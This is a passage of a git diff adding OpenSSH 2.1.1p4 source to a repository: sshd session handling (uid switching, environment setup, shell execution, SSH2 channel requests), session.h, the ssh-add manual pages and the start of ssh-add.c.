geteuid()) < 0) { + perror("setreuid"); + exit(1); + } +#else /* HAVE_OSF_SIA */ + if (getuid() == 0 || geteuid() == 0) { +#if defined(HAVE_GETUSERATTR) + set_limits_from_userattr(pw->pw_name); +#endif /* defined(HAVE_GETUSERATTR) */ + + if (setgid(pw->pw_gid) < 0) { + perror("setgid"); + exit(1); + } + /* Initialize the group list. */ + if (initgroups(pw->pw_name, pw->pw_gid) < 0) { + perror("initgroups"); + exit(1); + } + endgrent(); + +#ifdef WITH_IRIX_ARRAY + /* initialize array session */ + if (newarraysess() != 0) + fatal("Failed to set up new array session: %.100s", + strerror(errno)); +#endif /* WITH_IRIX_ARRAY */ + +#ifdef WITH_IRIX_PROJECT + /* initialize irix project info */ + if ((projid = getdfltprojuser(pw->pw_name)) == -1) { + debug("Failed to get project id, using projid 0"); + projid = 0; + } + + if (setprid(projid)) + fatal("Failed to initialize project %d for %s: %.100s", + (int)projid, pw->pw_name, strerror(errno)); +#endif /* WITH_IRIX_PROJECT */ + + /* Permanently switch to the desired uid. */ + permanently_set_uid(pw->pw_uid); + } + if (getuid() != pw->pw_uid || geteuid() != pw->pw_uid) + fatal("Failed to set uids to %d.", (int) pw->pw_uid); +#endif /* HAVE_OSF_SIA */ + } + /* + * Get the shell from the password data. An empty shell field is + * legal, and means /bin/sh. + */ + shell = (pw->pw_shell[0] == '\0') ? _PATH_BSHELL : pw->pw_shell; + +#ifdef AFS + /* Try to get AFS tokens for the local cell. */ + if (k_hasafs()) { + char cell[64]; + + if (k_afs_cell_of_file(pw->pw_dir, cell, sizeof(cell)) == 0) + krb_afslog(cell, 0); + + krb_afslog(0, 0); + } +#endif /* AFS */ + + /* Initialize the environment. */ + envsize = 100; + env = xmalloc(envsize * sizeof(char *)); + env[0] = NULL; + + if (!options.use_login) { + /* Set basic environment. */ + child_set_env(&env, &envsize, "USER", pw->pw_name); + child_set_env(&env, &envsize, "LOGNAME", pw->pw_name); + child_set_env(&env, &envsize, "HOME", pw->pw_dir); + child_set_env(&env, &envsize, "PATH", _PATH_STDPATH); + + snprintf(buf, sizeof buf, "%.200s/%.50s", + _PATH_MAILDIR, pw->pw_name); + child_set_env(&env, &envsize, "MAIL", buf); + + /* Normal systems set SHELL by default. */ + child_set_env(&env, &envsize, "SHELL", shell); + } + if (getenv("TZ")) + child_set_env(&env, &envsize, "TZ", getenv("TZ")); + + /* Set custom environment options from RSA authentication. */ + while (custom_environment) { + struct envstring *ce = custom_environment; + char *s = ce->s; + int i; + for (i = 0; s[i] != '=' && s[i]; i++); + if (s[i] == '=') { + s[i] = 0; + child_set_env(&env, &envsize, s, s + i + 1); + } + custom_environment = ce->next; + xfree(ce->s); + xfree(ce); + } + + snprintf(buf, sizeof buf, "%.50s %d %d", + get_remote_ipaddr(), get_remote_port(), get_local_port()); + child_set_env(&env, &envsize, "SSH_CLIENT", buf); + + if (ttyname) + child_set_env(&env, &envsize, "SSH_TTY", ttyname); + if (term) + child_set_env(&env, &envsize, "TERM", term); + if (display) + child_set_env(&env, &envsize, "DISPLAY", display); + +#ifdef _AIX + { + char *authstate,*krb5cc; + + if ((authstate = getenv("AUTHSTATE")) != NULL) + child_set_env(&env,&envsize,"AUTHSTATE",authstate); + + if ((krb5cc = getenv("KRB5CCNAME")) != NULL) + child_set_env(&env,&envsize,"KRB5CCNAME",krb5cc); + } +#endif + +#ifdef KRB4 + { + extern char *ticket; + + if (ticket) + child_set_env(&env, &envsize, "KRBTKFILE", ticket); + } +#endif /* KRB4 */ + +#ifdef USE_PAM + /* Pull in any environment variables that may have been set by PAM. */ + do_pam_environment(&env, &envsize); +#endif /* USE_PAM */ + + read_environment_file(&env,&envsize,"/etc/environment"); + + if (xauthfile) + child_set_env(&env, &envsize, "XAUTHORITY", xauthfile); + if (auth_get_socket_name() != NULL) + child_set_env(&env, &envsize, SSH_AUTHSOCKET_ENV_NAME, + auth_get_socket_name()); + + /* read $HOME/.ssh/environment. */ + if (!options.use_login) { + snprintf(buf, sizeof buf, "%.200s/.ssh/environment", + pw->pw_dir); + read_environment_file(&env, &envsize, buf); + } + if (debug_flag) { + /* dump the environment */ + fprintf(stderr, "Environment:\n"); + for (i = 0; env[i]; i++) + fprintf(stderr, " %.200s\n", env[i]); + } + /* + * Close the connection descriptors; note that this is the child, and + * the server will still have the socket open, and it is important + * that we do not shutdown it. Note that the descriptors cannot be + * closed before building the environment, as we call + * get_remote_ipaddr there. + */ + if (packet_get_connection_in() == packet_get_connection_out()) + close(packet_get_connection_in()); + else { + close(packet_get_connection_in()); + close(packet_get_connection_out()); + } + /* + * Close all descriptors related to channels. They will still remain + * open in the parent. + */ + /* XXX better use close-on-exec? -markus */ + channel_close_all(); + + /* + * Close any extra file descriptors. Note that there may still be + * descriptors left by system functions. They will be closed later. + */ + endpwent(); + + /* + * Close any extra open file descriptors so that we don\'t have them + * hanging around in clients. Note that we want to do this after + * initgroups, because at least on Solaris 2.3 it leaves file + * descriptors open. + */ + for (i = 3; i < 64; i++) + close(i); + + /* Change current directory to the user\'s home directory. */ + if (chdir(pw->pw_dir) < 0) + fprintf(stderr, "Could not chdir to home directory %s: %s\n", + pw->pw_dir, strerror(errno)); + + /* + * Must take new environment into use so that .ssh/rc, /etc/sshrc and + * xauth are run in the proper environment. + */ + environ = env; + + /* + * Run $HOME/.ssh/rc, /etc/sshrc, or xauth (whichever is found first + * in this order). + */ + if (!options.use_login) { + if (stat(SSH_USER_RC, &st) >= 0) { + if (debug_flag) + fprintf(stderr, "Running "_PATH_BSHELL" %s\n", SSH_USER_RC); + + f = popen(_PATH_BSHELL " " SSH_USER_RC, "w"); + if (f) { + if (auth_proto != NULL && auth_data != NULL) + fprintf(f, "%s %s\n", auth_proto, auth_data); + pclose(f); + } else + fprintf(stderr, "Could not run %s\n", SSH_USER_RC); + } else if (stat(SSH_SYSTEM_RC, &st) >= 0) { + if (debug_flag) + fprintf(stderr, "Running "_PATH_BSHELL" %s\n", SSH_SYSTEM_RC); + + f = popen(_PATH_BSHELL " " SSH_SYSTEM_RC, "w"); + if (f) { + if (auth_proto != NULL && auth_data != NULL) + fprintf(f, "%s %s\n", auth_proto, auth_data); + pclose(f); + } else + fprintf(stderr, "Could not run %s\n", SSH_SYSTEM_RC); + } else if (options.xauth_location != NULL) { + /* Add authority data to .Xauthority if appropriate. */ + if (auth_proto != NULL && auth_data != NULL) { + char *screen = strchr(display, ':'); + if (debug_flag) { + fprintf(stderr, + "Running %.100s add %.100s %.100s %.100s\n", + options.xauth_location, display, + auth_proto, auth_data); + if (screen != NULL) + fprintf(stderr, + "Adding %.*s/unix%s %s %s\n", + screen-display, display, + screen, auth_proto, auth_data); + } + snprintf(cmd, sizeof cmd, "%s -q -", + options.xauth_location); + /* XXX */ + f = popen(cmd, "w"); + if (f) { + fprintf(f, "add %s %s %s\n", display, + auth_proto, auth_data); + if (screen != NULL) + fprintf(f, "add %.*s/unix%s %s %s\n", + screen-display, display, + screen, auth_proto, auth_data); + pclose(f); + } else { + fprintf(stderr, "Could not run %s\n", + cmd); + } + } + } + /* Get the last component of the shell name. */ + cp = strrchr(shell, '/'); + if (cp) + cp++; + else + cp = shell; + } + /* + * If we have no command, execute the shell. In this case, the shell + * name to be passed in argv[0] is preceded by '-' to indicate that + * this is a login shell. + */ + if (!command) { + if (!options.use_login) { + char buf[256]; + + memset(buf, 0, sizeof(buf)); + /* + * Check for mail if we have a tty and it was enabled + * in server options. + */ + if (ttyname && options.check_mail) { + char *mailbox; + struct stat mailstat; + mailbox = getenv("MAIL"); + if (mailbox != NULL) { + if (stat(mailbox, &mailstat) != 0 || + mailstat.st_size == 0) + printf("No mail.\n"); + else if (mailstat.st_mtime < mailstat.st_atime) + printf("You have mail.\n"); + else + printf("You have new mail.\n"); + } + } + /* Start the shell. Set initial character to '-'. */ + buf[0] = '-'; + strncpy(buf + 1, cp, sizeof(buf) - 1); + buf[sizeof(buf) - 1] = 0; + + /* Execute the shell. */ + argv[0] = buf; + argv[1] = NULL; + + execve(shell, argv, env); + + /* Executing the shell failed. */ + perror(shell); + exit(1); + + } else { + /* Launch login(1). */ + + execl(LOGIN_PROGRAM, "login", "-h", get_remote_ipaddr(), + "-p", "-f", "--", pw->pw_name, NULL); + + /* Login couldn't be executed, die. */ + + perror("login"); + exit(1); + } + } + /* + * Execute the command using the user's shell. This uses the -c + * option to execute the command. + */ + argv[0] = (char *) cp; + argv[1] = "-c"; + argv[2] = (char *) command; + argv[3] = NULL; + execve(shell, argv, env); + perror(shell); + exit(1); +} + +Session * +session_new(void) +{ + int i; + static int did_init = 0; + if (!did_init) { + debug("session_new: init"); + for(i = 0; i < MAX_SESSIONS; i++) { + sessions[i].used = 0; + sessions[i].self = i; + } + did_init = 1; + } + for(i = 0; i < MAX_SESSIONS; i++) { + Session *s = &sessions[i]; + if (! s->used) { + s->pid = 0; + s->extended = 0; + s->chanid = -1; + s->ptyfd = -1; + s->ttyfd = -1; + s->term = NULL; + s->pw = NULL; + s->display = NULL; + s->screen = 0; + s->auth_data = NULL; + s->auth_proto = NULL; + s->used = 1; + s->pw = NULL; + debug("session_new: session %d", i); + return s; + } + } + return NULL; +} + +void +session_dump(void) +{ + int i; + for(i = 0; i < MAX_SESSIONS; i++) { + Session *s = &sessions[i]; + debug("dump: used %d session %d %p channel %d pid %d", + s->used, + s->self, + s, + s->chanid, + s->pid); + } +} + +int +session_open(int chanid) +{ + Session *s = session_new(); + debug("session_open: channel %d", chanid); + if (s == NULL) { + error("no more sessions"); + return 0; + } + s->pw = auth_get_user(); + if (s->pw == NULL) + fatal("no user for session %i", s->self); + debug("session_open: session %d: link with channel %d", s->self, chanid); + s->chanid = chanid; + return 1; +} + +Session * +session_by_channel(int id) +{ + int i; + for(i = 0; i < MAX_SESSIONS; i++) { + Session *s = &sessions[i]; + if (s->used && s->chanid == id) { + debug("session_by_channel: session %d channel %d", i, id); + return s; + } + } + debug("session_by_channel: unknown channel %d", id); + session_dump(); + return NULL; +} + +Session * +session_by_pid(pid_t pid) +{ + int i; + debug("session_by_pid: pid %d", pid); + for(i = 0; i < MAX_SESSIONS; i++) { + Session *s = &sessions[i]; + if (s->used && s->pid == pid) + return s; + } + error("session_by_pid: unknown pid %d", pid); + session_dump(); + return NULL; +} + +int +session_window_change_req(Session *s) +{ + s->col = packet_get_int(); + s->row = packet_get_int(); + s->xpixel = packet_get_int(); + s->ypixel = packet_get_int(); + packet_done(); + pty_change_window_size(s->ptyfd, s->row, s->col, s->xpixel, s->ypixel); + return 1; +} + +int +session_pty_req(Session *s) +{ + unsigned int len; + char *term_modes; /* encoded terminal modes */ + + if (no_pty_flag) + return 0; + if (s->ttyfd != -1) + return 0; + s->term = packet_get_string(&len); + s->col = packet_get_int(); + s->row = packet_get_int(); + s->xpixel = packet_get_int(); + s->ypixel = packet_get_int(); + term_modes = packet_get_string(&len); + packet_done(); + + if (strcmp(s->term, "") == 0) { + xfree(s->term); + s->term = NULL; + } + /* Allocate a pty and open it. */ + if (!pty_allocate(&s->ptyfd, &s->ttyfd, s->tty, sizeof(s->tty))) { + xfree(s->term); + s->term = NULL; + s->ptyfd = -1; + s->ttyfd = -1; + error("session_pty_req: session %d alloc failed", s->self); + xfree(term_modes); + return 0; + } + debug("session_pty_req: session %d alloc %s", s->self, s->tty); + /* + * Add a cleanup function to clear the utmp entry and record logout + * time in case we call fatal() (e.g., the connection gets closed). + */ + fatal_add_cleanup(pty_cleanup_proc, (void *)s); + pty_setowner(s->pw, s->tty); + /* Get window size from the packet. */ + pty_change_window_size(s->ptyfd, s->row, s->col, s->xpixel, s->ypixel); + + session_proctitle(s); + + /* XXX parse and set terminal modes */ + xfree(term_modes); + return 1; +} + +int +session_subsystem_req(Session *s) +{ + unsigned int len; + int success = 0; + char *subsys = packet_get_string(&len); + int i; + + packet_done(); + log("subsystem request for %s", subsys); + + for (i = 0; i < options.num_subsystems; i++) { + if(strcmp(subsys, options.subsystem_name[i]) == 0) { + debug("subsystem: exec() %s", options.subsystem_command[i]); + do_exec_no_pty(s, options.subsystem_command[i], s->pw); + success = 1; + } + } + + if (!success) + log("subsystem request for %s failed, subsystem not found", subsys); + + xfree(subsys); + return success; +} + +int +session_x11_req(Session *s) +{ + if (no_x11_forwarding_flag) { + debug("X11 forwarding disabled in user configuration file."); + return 0; + } + if (!options.x11_forwarding) { + debug("X11 forwarding disabled in server configuration file."); + return 0; + } + if (xauthfile != NULL) { + debug("X11 fwd already started."); + return 0; + } + + debug("Received request for X11 forwarding with auth spoofing."); + if (s->display != NULL) + packet_disconnect("Protocol error: X11 display already set."); + + s->single_connection = packet_get_char(); + s->auth_proto = packet_get_string(NULL); + s->auth_data = packet_get_string(NULL); + s->screen = packet_get_int(); + packet_done(); + + s->display = x11_create_display_inet(s->screen, options.x11_display_offset); + if (s->display == NULL) { + xfree(s->auth_proto); + xfree(s->auth_data); + return 0; + } + xauthfile = xmalloc(MAXPATHLEN); + strlcpy(xauthfile, "/tmp/ssh-XXXXXXXX", MAXPATHLEN); + temporarily_use_uid(s->pw->pw_uid); + if (mkdtemp(xauthfile) == NULL) { + restore_uid(); + error("private X11 dir: mkdtemp %s failed: %s", + xauthfile, strerror(errno)); + xfree(xauthfile); + xauthfile = NULL; + xfree(s->auth_proto); + xfree(s->auth_data); + /* XXXX remove listening channels */ + return 0; + } + strlcat(xauthfile, "/cookies", MAXPATHLEN); + open(xauthfile, O_RDWR|O_CREAT|O_EXCL, 0600); + restore_uid(); + fatal_add_cleanup(xauthfile_cleanup_proc, s); + return 1; +} + +int +session_shell_req(Session *s) +{ + /* if forced_command == NULL, the shell is execed */ + char *shell = forced_command; + packet_done(); + s->extended = 1; + if (s->ttyfd == -1) + do_exec_no_pty(s, shell, s->pw); + else + do_exec_pty(s, shell, s->pw); + return 1; +} + +int +session_exec_req(Session *s) +{ + unsigned int len; + char *command = packet_get_string(&len); + packet_done(); + if (forced_command) { + xfree(command); + command = forced_command; + debug("Forced command '%.500s'", forced_command); + } + s->extended = 1; + if (s->ttyfd == -1) + do_exec_no_pty(s, command, s->pw); + else + do_exec_pty(s, command, s->pw); + if (forced_command == NULL) + xfree(command); + return 1; +} + +void +session_input_channel_req(int id, void *arg) +{ + unsigned int len; + int reply; + int success = 0; + char *rtype; + Session *s; + Channel *c; + + rtype = packet_get_string(&len); + reply = packet_get_char(); + + s = session_by_channel(id); + if (s == NULL) + fatal("session_input_channel_req: channel %d: no session", id); + c = channel_lookup(id); + if (c == NULL) + fatal("session_input_channel_req: channel %d: bad channel", id); + + debug("session_input_channel_req: session %d channel %d request %s reply %d", + s->self, id, rtype, reply); + + /* + * a session is in LARVAL state until a shell + * or programm is executed + */ + if (c->type == SSH_CHANNEL_LARVAL) { + if (strcmp(rtype, "shell") == 0) { + success = session_shell_req(s); + } else if (strcmp(rtype, "exec") == 0) { + success = session_exec_req(s); + } else if (strcmp(rtype, "pty-req") == 0) { + success = session_pty_req(s); + } else if (strcmp(rtype, "x11-req") == 0) { + success = session_x11_req(s); + } else if (strcmp(rtype, "subsystem") == 0) { + success = session_subsystem_req(s); + } + } + if (strcmp(rtype, "window-change") == 0) { + success = session_window_change_req(s); + } + + if (reply) { + packet_start(success ? + SSH2_MSG_CHANNEL_SUCCESS : SSH2_MSG_CHANNEL_FAILURE); + packet_put_int(c->remote_id); + packet_send(); + } + xfree(rtype); +} + +void +session_set_fds(Session *s, int fdin, int fdout, int fderr) +{ + if (!compat20) + fatal("session_set_fds: called for proto != 2.0"); + /* + * now that have a child and a pipe to the child, + * we can activate our channel and register the fd's + */ + if (s->chanid == -1) + fatal("no channel for session %d", s->self); + channel_set_fds(s->chanid, + fdout, fdin, fderr, + fderr == -1 ? CHAN_EXTENDED_IGNORE : CHAN_EXTENDED_READ); +} + +void +session_pty_cleanup(Session *s) +{ + if (s == NULL || s->ttyfd == -1) + return; + + debug("session_pty_cleanup: session %i release %s", s->self, s->tty); + + /* Cancel the cleanup function. */ + fatal_remove_cleanup(pty_cleanup_proc, (void *)s); + + /* Record that the user has logged out. */ + record_logout(s->pid, s->tty); + + /* Release the pseudo-tty. */ + pty_release(s->tty); + + /* + * Close the server side of the socket pairs. We must do this after + * the pty cleanup, so that another process doesn't get this pty + * while we're still cleaning up. + */ + if (close(s->ptymaster) < 0) + error("close(s->ptymaster): %s", strerror(errno)); +} + +void +session_exit_message(Session *s, int status) +{ + Channel *c; + if (s == NULL) + fatal("session_close: no session"); + c = channel_lookup(s->chanid); + if (c == NULL) + fatal("session_close: session %d: no channel %d", + s->self, s->chanid); + debug("session_exit_message: session %d channel %d pid %d", + s->self, s->chanid, s->pid); + + if (WIFEXITED(status)) { + channel_request_start(s->chanid, + "exit-status", 0); + packet_put_int(WEXITSTATUS(status)); + packet_send(); + } else if (WIFSIGNALED(status)) { + channel_request_start(s->chanid, + "exit-signal", 0); + packet_put_int(WTERMSIG(status)); +#ifdef WCOREDUMP + packet_put_char(WCOREDUMP(status)); +#else /* WCOREDUMP */ + packet_put_char(0); +#endif /* WCOREDUMP */ + packet_put_cstring(""); + packet_put_cstring(""); + packet_send(); + } else { + /* Some weird exit cause. Just exit. */ + packet_disconnect("wait returned status %04x.", status); + } + + /* disconnect channel */ + debug("session_exit_message: release channel %d", s->chanid); + channel_cancel_cleanup(s->chanid); + /* + * emulate a write failure with 'chan_write_failed', nobody will be + * interested in data we write. + * Note that we must not call 'chan_read_failed', since there could + * be some more data waiting in the pipe. + */ + if (c->ostate != CHAN_OUTPUT_CLOSED) + chan_write_failed(c); + s->chanid = -1; +} + +void +session_free(Session *s) +{ + debug("session_free: session %d pid %d", s->self, s->pid); + if (s->term) + xfree(s->term); + if (s->display) + xfree(s->display); + if (s->auth_data) + xfree(s->auth_data); + if (s->auth_proto) + xfree(s->auth_proto); + s->used = 0; +} + +void +session_close(Session *s) +{ + session_pty_cleanup(s); + session_free(s); + session_proctitle(s); +} + +void +session_close_by_pid(pid_t pid, int status) +{ + Session *s = session_by_pid(pid); + if (s == NULL) { + debug("session_close_by_pid: no session for pid %d", s->pid); + return; + } + if (s->chanid != -1) + session_exit_message(s, status); + session_close(s); +} + +/* + * this is called when a channel dies before + * the session 'child' itself dies + */ +void +session_close_by_channel(int id, void *arg) +{ + Session *s = session_by_channel(id); + if (s == NULL) { + debug("session_close_by_channel: no session for channel %d", id); + return; + } + /* disconnect channel */ + channel_cancel_cleanup(s->chanid); + s->chanid = -1; + + debug("session_close_by_channel: channel %d kill %d", id, s->pid); + if (s->pid == 0) { + /* close session immediately */ + session_close(s); + } else { + /* notify child, delay session cleanup */ + if (s->pid <= 1) + fatal("session_close_by_channel: Unsafe s->pid = %d", s->pid); + if (kill(s->pid, (s->ttyfd == -1) ? SIGTERM : SIGHUP) < 0) + error("session_close_by_channel: kill %d: %s", + s->pid, strerror(errno)); + } +} + +char * +session_tty_list(void) +{ + static char buf[1024]; + int i; + buf[0] = '\0'; + for(i = 0; i < MAX_SESSIONS; i++) { + Session *s = &sessions[i]; + if (s->used && s->ttyfd != -1) { + if (buf[0] != '\0') + strlcat(buf, ",", sizeof buf); + strlcat(buf, strrchr(s->tty, '/') + 1, sizeof buf); + } + } + if (buf[0] == '\0') + strlcpy(buf, "notty", sizeof buf); + return buf; +} + +void +session_proctitle(Session *s) +{ + if (s->pw == NULL) + error("no user for session %d", s->self); + else + setproctitle("%s@%s", s->pw->pw_name, session_tty_list()); +} + +void +do_authenticated2(void) +{ + /* + * Cancel the alarm we set to limit the time taken for + * authentication. + */ + alarm(0); + if (startup_pipe != -1) { + close(startup_pipe); + startup_pipe = -1; + } + server_loop2(); + if (xauthfile) + xauthfile_cleanup_proc(NULL); +} diff --git a/other/openssh-2.1.1p4/session.h b/other/openssh-2.1.1p4/session.h new file mode 100644 index 0000000..a3427bc --- /dev/null +++ b/other/openssh-2.1.1p4/session.h @@ -0,0 +1,14 @@ +#ifndef SESSION_H +#define SESSION_H + +/* SSH1 */ +void do_authenticated(struct passwd * pw); + +/* SSH2 */ +void do_authenticated2(void); +int session_open(int id); +void session_input_channel_req(int id, void *arg); +void session_close_by_pid(pid_t pid, int status); +void session_close_by_channel(int id, void *arg); + +#endif diff --git a/other/openssh-2.1.1p4/ssh-add.0 b/other/openssh-2.1.1p4/ssh-add.0 new file mode 100644 index 0000000..2901f48 --- /dev/null +++ b/other/openssh-2.1.1p4/ssh-add.0 @@ -0,0 +1,78 @@ + +SSH-ADD(1) System Reference Manual SSH-ADD(1) + +NAME + ssh-add - adds RSA identities for the authentication agent + +SYNOPSIS + ssh-add [-lLdD] [file ...] + +DESCRIPTION + ssh-add adds RSA identities to the authentication agent, ssh-agent(1). + When run without arguments, it adds the file $HOME/.ssh/identity. Alter- + native file names can be given on the command line. If any file requires + a passphrase, ssh-add asks for the passphrase from the user. The + Passphrase it is read from the user's tty. + + The authentication agent must be running and must be an ancestor of the + current process for ssh-add to work. + + The options are as follows: + + -l Lists fingerprints of all identities currently represented by the + agent. + + -L Lists public key parameters of all identities currently repre- + sented by the agent. + + -d Instead of adding the identity, removes the identity from the + agent. + + -D Deletes all identities from the agent. + +FILES + $HOME/.ssh/identity + Contains the RSA authentication identity of the user. This file + should not be readable by anyone but the user. Note that ssh-add + ignores this file if it is accessible by others. It is possible + to specify a passphrase when generating the key; that passphrase + will be used to encrypt the private part of this file. This is + the default file added by ssh-add when no other files have been + specified. + +ENVIRONMENT + DISPLAY and SSH_ASKPASS + If ssh-add needs a passphrase, it will read the passphrase from + the current terminal if it was run from a terminal. If ssh-add + does not have a terminal associated with it but DISPLAY and + SSH_ASKPASS are set, it will execute the program specified by + SSH_ASKPASS and open an X11 window to read the passphrase. This + is particularly useful when calling ssh-add from a .Xsession or + related script. (Note that on some machines it may be necessary + to redirect the input from /dev/null to make this work.) + +AUTHOR + Tatu Ylonen + + OpenSSH is a derivative of the original (free) ssh 1.2.12 release, but + with bugs removed and newer features re-added. Rapidly after the 1.2.12 + release, newer versions bore successively more restrictive licenses. + This version of OpenSSH + + o has all components of a restrictive nature (i.e., patents) directly + removed from the source code; any licensed or patented components are + + + chosen from external libraries. + + o has been updated to support ssh protocol 1.5. + + o contains added support for kerberos(8) authentication and ticket + passing. + + o supports one-time password authentication with skey(1). + +SEE ALSO + ssh(1), ssh-agent(1), ssh-keygen(1), sshd(8), + +BSD Experimental September 25, 1999 2 diff --git a/other/openssh-2.1.1p4/ssh-add.1 b/other/openssh-2.1.1p4/ssh-add.1 new file mode 100644 index 0000000..9d12b01 --- /dev/null +++ b/other/openssh-2.1.1p4/ssh-add.1 @@ -0,0 +1,121 @@ +.\" -*- nroff -*- +.\" +.\" ssh-add.1 +.\" +.\" Author: Tatu Ylonen +.\" +.\" Copyright (c) 1995 Tatu Ylonen , Espoo, Finland +.\" All rights reserved +.\" +.\" Created: Sat Apr 22 23:55:14 1995 ylo +.\" +.\" $Id: ssh-add.1,v 1.13 2000/05/03 18:04:38 markus Exp $ +.\" +.Dd September 25, 1999 +.Dt SSH-ADD 1 +.Os +.Sh NAME +.Nm ssh-add +.Nd adds RSA identities for the authentication agent +.Sh SYNOPSIS +.Nm ssh-add +.Op Fl lLdD +.Op Ar +.Sh DESCRIPTION +.Nm +adds RSA identities to the authentication agent, +.Xr ssh-agent 1 . +When run without arguments, it adds the file +.Pa $HOME/.ssh/identity . +Alternative file names can be given on the command line. +If any file requires a passphrase, +.Nm +asks for the passphrase from the user. +The Passphrase it is read from the user's tty. +.Pp +The authentication agent must be running and must be an ancestor of +the current process for +.Nm +to work. +.Pp +The options are as follows: +.Bl -tag -width Ds +.It Fl l +Lists fingerprints of all identities currently represented by the agent. +.It Fl L +Lists public key parameters of all identities currently represented by the agent. +.It Fl d +Instead of adding the identity, removes the identity from the agent. +.It Fl D +Deletes all identities from the agent. +.El +.Sh FILES +.Bl -tag -width Ds +.It Pa $HOME/.ssh/identity +Contains the RSA authentication identity of the user. +This file should not be readable by anyone but the user. +Note that +.Nm +ignores this file if it is accessible by others. +It is possible to +specify a passphrase when generating the key; that passphrase will be +used to encrypt the private part of this file. +This is the default file added by +.Nm +when no other files have been specified. +.Pp +.Sh ENVIRONMENT +.Bl -tag -width Ds +.It Ev "DISPLAY" and "SSH_ASKPASS" +If +.Nm +needs a passphrase, it will read the passphrase from the current +terminal if it was run from a terminal. +If +.Nm +does not have a terminal associated with it but +.Ev DISPLAY +and +.Ev SSH_ASKPASS +are set, it will execute the program specified by +.Ev SSH_ASKPASS +and open an X11 window to read the passphrase. +This is particularly useful when calling +.Nm +from a +.Pa .Xsession +or related script. +(Note that on some machines it +may be necessary to redirect the input from +.Pa /dev/null +to make this work.) +.Sh AUTHOR +Tatu Ylonen +.Pp +OpenSSH +is a derivative of the original (free) ssh 1.2.12 release, but with bugs +removed and newer features re-added. +Rapidly after the 1.2.12 release, +newer versions bore successively more restrictive licenses. +This version of OpenSSH +.Bl -bullet +.It +has all components of a restrictive nature (i.e., patents) +directly removed from the source code; any licensed or patented components +are chosen from +external libraries. +.It +has been updated to support ssh protocol 1.5. +.It +contains added support for +.Xr kerberos 8 +authentication and ticket passing. +.It +supports one-time password authentication with +.Xr skey 1 . +.El +.Sh SEE ALSO +.Xr ssh 1 , +.Xr ssh-agent 1 , +.Xr ssh-keygen 1 , +.Xr sshd 8 , diff --git a/other/openssh-2.1.1p4/ssh-add.c b/other/openssh-2.1.1p4/ssh-add.c new file mode 100644 index 0000000..a5d785c --- /dev/null +++ b/other/openssh-2.1.1p4/ssh-add.c @@ -0,0 +1,266 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Thu Apr 6 00:52:24 1995 ylo + * Adds an identity to the authentication server, or removes an identity. + */ + +#include "includes.h" +RCSID("$OpenBSD: ssh-add.c,v 1.17 2000/06/20 01:39:44 markus Exp $"); + +#include +#include + +#include "rsa.h" +#include "ssh.h" +#include "xmalloc.h" +#include "authfd.h" +#include "fingerprint.h" +#include "key.h" +#include "authfile.h" + +#ifdef HAVE___PROGNAME +extern char *__progname; +#else /* HAVE___PROGNAME */ +static const char *__progname = "ssh-add"; +#endif /* HAVE___PROGNAME */ + +void +delete_file(AuthenticationConnection *ac, const char *filename) +{ + Key *public; + char *comment; + + public = key_new(KEY_RSA); + if (!load_public_key(filename, public, &comment)) { + printf("Bad key file %s: %s\n", filename, strerror(errno)); + return; + } + if (ssh_remove_identity(ac, public->rsa)) + fprintf(stderr, "Identity removed: %s (%s)\n", filename, comment); + else + fprintf(stderr, "Could not remove identity: %s\n", filename); + key_free(public); + xfree(comment); +} + +void +delete_all(AuthenticationConnection *ac) +{ + /* Send a request to remove all identities. */ + if (ssh_remove_all_identities(ac)) + fprintf(stderr, "All identities removed.\n"); + else + fprintf(stderr, "Failed to remove all identitities.\n"); +} + +char * +ssh_askpass(char *askpass, char *msg) +{ + pid_t pid; + size_t len; + char *nl, *pass; + int p[2], status; + char buf[1024]; + + if (askpass == NULL) + fatal("internal error: askpass undefined"); + if (pipe(p) < 0) + fatal("ssh_askpass: pipe: %s", strerror(errno)); + if ((pid = fork()) < 0) + fatal("ssh_askpass: fork: %s", strerror(errno)); + if (pid == 0) { + close(p[0]); + if (dup2(p[1], STDOUT_FILENO) < 0) + fatal("ssh_askpass: dup2: %s", strerror(errno)); + execlp(askpass, askpass, msg, (char *) 0); + fatal("ssh_askpass: exec(%s): %s", askpass, strerror(errno)); + } + close(p[1]); + len = read(p[0], buf, sizeof buf); + close(p[0]); + while (waitpid(pid, &status, 0) < 0) + if (errno != EINTR) + break; + if (len <= 1) + return xstrdup(""); + nl = strchr(buf, '\n'); + if (nl) + *nl = '\0'; + pass = xstrdup(buf); + memset(buf, 0, sizeof(buf)); + return pass; +} + +void +add_file(AuthenticationConnection *ac, const char *filename) +{ + Key *public; + Key *private; + char *saved_comment, *comment, *askpass = NULL; + char buf[1024], msg[1024]; + int success; + int interactive = isatty(STDIN_FILENO); + + public = key_new(KEY_RSA); + if (!load_public_key(filename, public, &saved_comment)) { + printf("Bad key file %s: %s\n", filename, strerror(errno)); + return; + } + key_free(public); + + if (!interactive && getenv("DISPLAY")) { + if (getenv(SSH_ASKPASS_ENV)) + askpass = getenv(SSH_ASKPASS_ENV); + else + askpass = SSH_ASKPASS_DEFAULT; + } + + /* At first, try empty passphrase */ + private = key_new(KEY_RSA); + success = load_private_key(filename, "", private, &comment); + if (!success) { + printf("Need passphrase for %.200s\n", filename); + if (!interactive && askpass == NULL) { + xfree(saved_comment); + return; + } + snprintf(msg, sizeof msg, "Enter passphrase for %.200s", saved_comment); + for (;;) { + char *pass; + if (interactive) { + snprintf(buf, sizeof buf, "%s: ", msg); + pass = read_passphrase(buf, 1); + } else { + pass = ssh_askpass(askpass, msg); + } + if (strcmp(pass, "") == 0) { + xfree(pass); + xfree(saved_comment); + return; + } + success = load_private_key(filename, pass, private, &comment); + memset(pass, 0, strlen(pass)); + xfree(pass); + if (success) + break; + strlcpy(msg, "Bad passphrase, try again", sizeof msg); + } + } + xfree(saved_comment); + + if (ssh_add_identity(ac, private->rsa, comment)) + fprintf(stderr, "Identity added: %s (%s)\n", filename, comment); + else + fprintf(stderr, "Could not add identity: %s\n", filename); + key_free(private); + xfree(comment); +} + +void +list_identities(AuthenticationConnection *ac, int fp) +{ + BIGNUM *e, *n; + int status; + char *comment; + int had_identities; + + e = BN_new(); + n = BN_new(); + had_identities = 0; + for (status = ssh_get_first_identity(ac, e, n, &comment); + status; + status = ssh_get_next_identity(ac, e, n, &comment)) { + unsigned int bits = BN_num_bits(n); + had_identities = 1; + if (fp) { + printf("%d %s %s\n", bits, fingerprint(e, n), comment); + } else { + char *ebuf, *nbuf; + ebuf = BN_bn2dec(e); + if 